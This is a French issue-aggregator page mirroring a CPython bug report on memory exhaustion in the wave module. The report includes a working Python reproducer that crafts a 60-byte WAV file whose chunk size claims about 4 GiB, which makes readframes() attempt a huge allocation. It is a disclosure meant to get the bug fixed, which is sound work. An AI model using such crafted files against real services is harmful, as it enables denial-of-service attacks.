python / python/cpython

Memory Exhaustion in `wave.readframes()` via Crafted Chunk Size

Ouverte
#151,308 1 commentaire 0 réactions 0 personnes assignées Voir sur GitHub

Personne n'a encore pris cette issue.

stdlib type-bug
Langage dominant
Python
Étoiles
77.2k
Forks
35.9k
Métriques de merge des PR
Métriques de PR en attente

Description

Bug report

Bug description:
Summary

The wave module reads RIFF/WAV chunk sizes from 4-byte header fields without validating them against available input. A 60-byte crafted WAV claiming ~4 GiB of audio data causes readframes() to attempt a ~4 GiB pre-allocation via file.read(chunksize).

Details

_Chunk.__init__ reads chunksize with no upper bound, then _Chunk.read() passes it to file.read():

https://github.com/python/cpython/blob/9633c5239daae3a180f8ce263ce77e4e522e6aa4/Lib/wave.py#L130

https://github.com/python/cpython/blob/9633c5239daae3a180f8ce263ce77e4e522e6aa4/Lib/wave.py#L188-L192

Reproducer
❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
MemoryError from 60-byte WAV with chunksize=4,294,967,295
"""
Memory exhaustion in wave.readframes() via crafted WAV chunk size.
"""

import resource
import struct
import sys
import tempfile
import wave


CLAIMED_SIZE = 0xFFFFFFFF  # ~4 GiB
MEM_LIMIT = 256 * 1024 * 1024  # 256 MiB


def build_crafted_wav() -> bytes:
    """Build a minimal WAV file (60 bytes) claiming ~4 GiB of audio data."""
    fmt_data = struct.pack(
        "<HHLLHH",
        1,      # wFormatTag = WAVE_FORMAT_PCM
        1,      # nchannels = 1 (mono)
        44100,  # framerate
        88200,  # dwAvgBytesPerSec
        2,      # wBlockAlign (nchannels * sampwidth)
        16,     # wBitsPerSample
    )
    fmt_chunk = b"fmt " + struct.pack("<L", len(fmt_data)) + fmt_data

    data_chunk = (
        b"data" + struct.pack("<L", CLAIMED_SIZE) + b"\x00" * 16
    )

    riff_header = b"RIFF" + struct.pack("<L", CLAIMED_SIZE) + b"WAVE"
    return riff_header + fmt_chunk + data_chunk


def main():
    wav_bytes = build_crafted_wav()

    with tempfile.NamedTemporaryFile(suffix=".wav") as tmp:
        tmp.write(wav_bytes)
        tmp.flush()

        try:
            w = wave.open(tmp.name, "r")
            w.readframes(-1)
            w.close()
        except MemoryError:
            print(
                f"MemoryError from {len(wav_bytes)}-byte WAV "
                f"with chunksize={CLAIMED_SIZE:,}"
            )
            sys.exit(0)
        except Exception:
            print("BLOCKED: wave rejected crafted chunksize")
            sys.exit(1)

    print("BLOCKED: no allocation error raised")
    sys.exit(1)


if __name__ == "__main__":
    resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
    main()
Impact

Memory Error

Related issue

https://github.com/python/cpython/issues/141713

CPython versions tested on:

3.15

Operating systems tested on:

Linux

Linked PRs
  • gh-151487
  • gh-151488

Guide de contribution

Ouvrir le guide de contribution

Par où commencer

  1. Lisez l'issue en entier, puis le guide de contribution du projet.
  2. Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
  3. Forkez le dépôt et travaillez sur une branche.
  4. Ouvrez une pull request qui référence le numéro de l'issue.

Piste de recherche

Commencez dans Lib/wave.py, en particulier dans _Chunk.init et _Chunk.read(), en utilisant le reproducteur WAV construit fourni dans l’issue. Examinez les PR liés gh-151487 et gh-151488 avant d’effectuer des modifications. Le travail est terminé lorsque le reproducteur ne déclenche plus de MemoryError en raison de la taille de chunk indiquée et que la lecture de fichiers WAV valides reste fonctionnelle.

Rédigé par le modèle d'indexation à partir du texte de l'issue.

Évaluation

Stack technique
python
Domaine
security
Type d'issue
Bug
Difficulté
3/5
Temps estimé
1-2 jours
Activité
À l'abandon
Clarté
Clairement spécifiée
Accessibilité débutants
25/100

Recevez les nouvelles issues par e-mail

Un résumé court des issues GitHub adaptées aux débutants.